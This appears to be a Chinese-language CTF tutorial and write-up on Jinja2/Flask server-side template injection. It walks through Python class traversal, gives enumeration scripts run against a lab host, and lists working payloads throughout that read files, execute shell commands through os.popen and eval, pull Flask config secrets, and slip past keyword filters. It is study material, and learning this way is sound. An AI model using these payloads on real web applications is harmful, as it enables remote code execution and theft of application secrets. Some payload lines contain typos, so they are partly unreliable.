赞
踩
基础知识补充:
- __class__ 返回类型所属的对象
- __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- __base__ 返回该对象所继承的基类
- // __base__和__mro__都是用来寻找基类的
- __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
- __init__ 类的初始化方法
- __globals__ 对包含函数全局变量的字典的引用
- __builtins__ 导入内置函数,例如eval()等
一般ssti都是通过 类->基类->危险函数的使用来实现注入的
[].__class__ 获取[] 对应的类
[].__class__.__base__ 获取[]对应的类的基类
[].__class__.base__.__subclasses__() 获取[]对应的类的基类的所有子类
[].__class__.base__.__subclasses__()[30]('flag').read() (假设<type file> file方法是第30,使用read()方法来读取flag文件)
[].__class__.base__.__subclasses__()[50].__init__.__globals__['os'].system('ls') (假设os类是第50个,初始化它并使用system函数来执行ls命令)
python2中可以使用file类来读取文件
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
python3中没有file类了
可以使用<class '_frozen_importlib_external.FileLoader'>,<class ‘click.utils.LazyFile’>
<class ‘codecs.IncrementalEncoder’>来读取文件
- python脚本
-
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
- for i in range(500):
- url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
- res = requests.get(url=url, headers=headers)
- if 'click.utils.LazyFile' in res.text:
- print(i)
-
-
-
- payload:{{[].__class__.__base__.__subclasses__()[257]('flag').read()}}
SSTI执行命令
可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。
查询有内置函数eval的类
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
- for i in range(500):
- url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
- res = requests.get(url=url, headers=headers)
- if 'eval' in res.text:
- print(i)
-
- payload:{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
-
Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替
寻找有os模块的类
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
- for i in range(500):
- url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
- res = requests.get(url=url, headers=headers)
- if 'os.py' in res.text:
- print(i)
-
-
- payload:{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
Python 中存在 <class '_frozen_importlib.BuiltinImporter'>
类,目的就是提供 Python 中 import 语句的实现(以及 __import__
函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
也可以搜索__import__函数来导入os模块
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
- for i in range(500):
- url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
- res = requests.get(url=url, headers=headers)
- if '__import__' in res.text:
- print(i)
-
-
- payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
inecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
- for i in range(500):
- url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
- res = requests.get(url=url, headers=headers)
- if 'linecache' in res.text:
- print(i)
-
- payload={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
其中包含应用程序的所有配置值.在大多数情况下,这包括敏感值,例如数据库连接字符串,第三方服务的凭证,SECRET_KEY等。
例如:
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)
- {{url_for.__globals__['current_app'].config.FLAG}}
- {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
- {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
-
url和路由
app.route()路由可以通过app.route()中的url来访问一个具体的python类或函数
例如:
from flask import Flask app = Flask(__name__) # 创建一个flask实例 @app.route('/') def index(): return("这里是/页面") @app.route('/flag') def flag(): return("这里是falg页面") if __name__ == '__main__': # 如果是已主程序的方式启动(不是以导入模块的方式),则运行flask实例 app.run() # app.run(debug=True),即可开启debug模式 这里写了两个页面url分别是/ 和 /falg
当然也可以动态的传参以及对参数的过滤
# -*- coding: UTF-8 -*- from flask import Flask app = Flask(__name__) # 创建一个flask实例 @app.route('/') def a(): return 1 @app.route('/student/<student_id>/') def student(student_id): return '学生{}号的信息'.format(student_id) @app.route('/students/<int:student_id>/') def students(student_id): return '学生{}号的信息'.format(student_id) if __name__ == '__main__': # 如果是已主程序的方式启动(不是以导入模块的方式),则运行flask实例 app.run() # app.run(debug=True),即可开启debug模式student 页面中可以随便传参
students页面则只能穿int型数据
源代码
-
- import flask
- import os
-
- app = flask.Flask(__name__)
-
- app.config['FLAG'] = os.environ.pop('FLAG')
-
-
- @app.route('/')
- def index():
- return open(__file__).read()
-
-
- @app.route('/shrine/<path:shrine>')
- def shrine(shrine):
-
- def safe_jinja(s):
- s = s.replace('(', '').replace(')', '')
- blacklist = ['config', 'self']
- return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
-
- return flask.render_template_string(safe_jinja(shrine))
-
-
- if __name__ == '__main__':
- app.run(debug=True)

app.config['FLAG'] = os.environ.pop('FLAG')
从环境变量中删除FALG变量并返回值给config
s = s.replace('(', '').replace(')', '')
将() 替换为空
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
将config,self 替换为None
分析:
如果没有过滤config
可以使用{{config.FLAG}}
如果没有过滤self
可以使用{{self.__dict__}},里面有所有字典的键与值
如果没有过滤()
可以使用subclasses()
payload:
url_for.__globals__['current_app'].config.FLAG
(为什么这里的config没有被过滤,不清楚)
存在ssti注入
写脚本查询包含有os模块的索引
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
- for i in range(500):
- url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
- res = requests.get(url=url, headers=headers)
- if 'os.py' in res.text:
- print(i)
构造payload:
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
使用file类读取拿到flag
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
输入{{2*3}} 结果为6,存在ssti漏洞
flag位置给出
发现关键词 class base read 被过滤
__class__ -> ["__cla""ss__"]
构造payload
()["__cla""ss__"]["__ba""se__"]["__subclas""ses__"]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')["re""ad"]()
拿到flag
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。